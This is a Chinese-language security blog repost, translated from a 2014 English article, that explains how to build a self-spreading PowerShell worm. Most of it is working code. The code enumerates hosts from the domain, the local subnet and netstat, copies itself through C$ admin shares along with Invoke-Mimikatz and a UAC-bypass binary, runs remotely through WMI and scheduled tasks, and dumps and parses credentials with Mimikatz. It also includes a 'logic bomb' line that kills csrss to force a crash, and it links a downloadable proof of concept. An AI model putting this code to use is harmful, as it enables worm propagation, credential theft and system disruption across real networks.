创建一个基于powershell的蠕虫

admin 2022年1月21日00:21:21评论88 views字数 4252阅读14分10秒阅读模式

from:https://khr0x40sh.wordpress.com/2014/11/13/powershell-worm/

翻译(Liuk3r@关注安全技术&Heresec)


最近在接触了一些关于蠕虫的思路。看到一篇比较有趣的文章powershell的基础蠕虫link:http://www.exploit-monday.com/2014/04/powerworm-analysis.html。让我有了尝试创建一个略有不同的蠕虫的想法。

这个蠕虫必须要有一些功能:比如在不确定的网络环境下或者连接不到互联网的情况下进行传播,因为是在没法连接互联网的情况下进行的,所以命令执行和控制是很重要的。最后这个要尽可能的用Base64编码powershell并且在内存中运行它。

1、枚举目标

这是一个比较冒险的自我查找目标的技术。首先,蠕虫必须要找到和识别我们潜在能攻击的目标。该蠕虫使用3种技术(可能还有其他的)来实现获取目标。


1、获取域内主机

2、查找本地C段主机(同子网IP段)

3、从netstat获取IP


就像我们前面说的,如果我们是使用域内的主机登录的,那么我们非常容易循环获取到域内主机。


function getDomain {  $final = @()  #get Domain computers  $strCategory = "computer"  $objDomain = New-Object System.DirectoryServices.DirectoryEntry  $objSearcher = New-Object System.DirectoryServices.DirectorySearcher  $objSearcher.SearchRoot = $objDomain  $objSearcher.Filter = ("(objectCategory=$strCategory)")  $colProplist = "name", "cn"  foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}  $colResults = $objSearcher.FindAll()  foreach ($objResult in $colResults)   {       $objComputer = $objResult.Properties           $bleh = $objComputer.name           $final += $bleh  }       return $final  }

但是,如果我们的控制的主机不是在域内呢?所有我们需要进行错误的处理(见最后的页面)。枚举主机的下一个操作就是要查找本地的C段主机,那么我们要实现这个功能,必须要先做的一步就是获取本机的IP。一个列子:


$enum = Get-WMIObject win32_NetworkAdapterConfiguration |    Where-Object { $_.IPEnabled -eq $true } |    Foreach-Object { $_.IPAddress } |    Foreach-Object { [IPAddress]$_ } |    Where-Object { $_.AddressFamily -eq 'Internetwork' } |    Foreach-Object { $_.IPAddressToString }

然后呢,这个类似C段扫描的功能,获取前三个IP字节内容,然后写一个循环。


function getClassC{  Param($ip);  $final = @()  $classC = $ip.Split(".")[0]+"."+$ip.Split(".")[1]+"."+$ip.Split(".")[2]  for($i=1; $i -lt 255; $i++)  {        $final += $classC + $i.ToString()  }     return $final  }


最后我们要用Netstat命令去获取


#//netstat mode  $n = netstat -ano  foreach ($n2 in $n)  {      $n4= $n2.Split(" ")      foreach ($n3 in $n4)      {          $n5 = $n3.Split(":")[0]          if (($n5.Length -gt 7) -and ($n5.Length -lt 22))          {               if (!( ($n5 -eq "0.0.0.0") -or ($n5 -eq $ip) -or ($n5 -eq "127.0.0.1") ) )               {                    if ($n5.Contains("."))                   {                      Write-Host $n5                      $final += $n5                    }               }           }       }  }


2、传播技术

在测试环境中,我们有很多方法和技术去实现蠕虫传播。不过为了简单起见呢,我们就用PsDrive去实现。

PsDrive可以建立powershell访问共享(类似建立一个windows文件共享)。

创建一个基于powershell的蠕虫


PsDrive建立共享示例


接着我们要让蠕虫通过建立PsDrive来复制、移动文件到我们的目标。(我以C$做了一个例子)


$prof = "USERPROFILE"  $profile = (get-item env:$prof).Value +"Downloads"  $pro1 = $profile.SubString(3, $profile.Length-3)  $psdrive = "\"+$nethost+"C$"+ $pro1   New-PsDrive -Name Y -PsProvider filesystem -Root $psdrive


接下来我们要让蠕虫将我们的程序和附带的一些脚本复制过来:


Copy-Item $profilePowerW0rm.ps1 Y:PowerW0rm.ps1  Copy-Item $profilePowerW0rm.mof Y:PowerW0rm.mof  Copy-Item $profileInvoke-Mimikatz.ps1 Y:Invoke-Mimikatz.ps1  Copy-Item $profilebypassuac-x64.exe Y:bypassuac-x64.exe


因为这段代码会一直循环执行,所有我们要让蠕虫去删除PsDrive

Remove-PsDrive Y



3、代码执行


默认情况下在Windows7/ Server 2008 R2的环境中,远程PowerShell默认情况下不开启的。但是其他的一些功能也存在根据访问级别和GPO的设置。所以这个蠕虫的代码执行方式有两种:计划任务和WMIMethod的调用。下面是具体的例子


$run = "powershell -exec Bypass "+$profile+"\PowerWorm.ps1"  $task = $profile+"\bypassuac-x64.exe /C powershell.exe -exec Stop-Process csrss"  # BSOD for a logic bomb  #run with dump creds  Invoke-WMIMethod -Class Win32_Process -Name Create -Authentication PacketPrivacy -Computername $nethost -Credential $cred       -Impersonation Impersonate -ArgumentList $run  #run as current user  Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $run  #schtask example  schtasks /CREATE /S $nethost /SC Daily /MO 1 /ST 00:01 /TN "update54" /TR $task /F     #scheduled for the 1st of the year @ 00:01 AM  schtasks /RUN /TN "update54"                                                            #Runs task immediately (kills worm, but just PoC)  schtasks /DEL /TN "update54"                                                            #would never run in this context, but is an example


4、管理凭证获取

因为它是机器→机器的方式,所有我们使用PowerSploit项目中Invoke-Mimikatz.ps1转存和解析的管理凭证获取方式。我们略微修改Invoke-Mimikatz.ps1进行实现:



$creds = Invoke-Mimikatz -dumpcreds  Write-Host $creds


首先让蠕虫调用Invoke-Minikatz:


#try to grab creds  $scriptPath = split-path -parent $MyInvocation.MyCommand.Definition  $scriptPath = $scriptPath + "Invoke-Mimikatz.ps1 -dumpcreds"  $creds = "powershell.exe -exec Bypass " + $scriptPath  $creds_str = runCMD $creds


然后我们用正则显示获取到的用户密码:


$creds_regex= @"  .**sUsername.*  .**sDomain.*  .**sPassword.*  "@    $creds_str = $creds -replace " ", "`r`n"    $cred_store = @{}    $found = new-object System.Text.RegularExpressions.Regex($creds_regex, [System.Text.RegularExpressions.Regexoptions]::Multiline)  $m=$found.Matches($creds_str)



最后呢,我们要对字符串进行处理获取到真正要用的信息


function parsed()  {  Param([string]$str1)  $p1 = $str1 -split '[rn]'  $parse=@()    for ($j=0; $j -lt 3; $j++)  {  $num = $j*2  $p2 = $p1[$num].split(":")  #Write-Host $j "," $num "," $p2  $p3 = $p2[1]    $parse+= , $p3  }  return $parse   }


POC: 链接: http://pan.baidu.com/s/1c09H1FM 密码: v7ap



PS:因为调用了Mimikatz,所有在XP/8 中会出错,这个脚本很容易修改和使用。有想法的朋友可以研究看看。

本文始发于微信公众号(关注安全技术):创建一个基于powershell的蠕虫

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月21日00:21:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   创建一个基于powershell的蠕虫https://cn-sec.com/archives/502880.html

发表评论

匿名网友 填写信息